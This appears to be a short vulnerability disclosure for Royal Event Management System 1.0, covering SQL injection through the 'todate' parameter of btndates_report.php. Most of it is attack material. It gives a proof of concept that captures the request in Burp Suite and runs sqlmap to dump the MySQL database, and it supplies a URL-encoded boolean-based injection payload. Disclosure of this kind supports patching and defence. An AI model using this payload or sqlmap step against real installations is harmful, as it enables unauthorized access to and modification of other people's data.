------------------------------------------------------------------------------------

1. Description:
----------------------

Royal Event Management System 1.0 allows SQL Injection via parameter 'todate' in
/royal_event/btndates_report.php#?=  Exploiting this issue could allow an attacker to compromise
the application, access or modify data, or exploit latent vulnerabilities
in the underlying database.


2. Proof of Concept:
----------------------

In Burpsuite intercept the request from the affected page with
'todate' parameter and save it like poc.txt. Then run SQLmap to extract the
data from the database:

sqlmap -r poc.txt --dbms=mysql


3. Example payload:
----------------------

(boolean-based)

-1%27+OR+1%3d1+OR+%27ns%27%3d%27ns
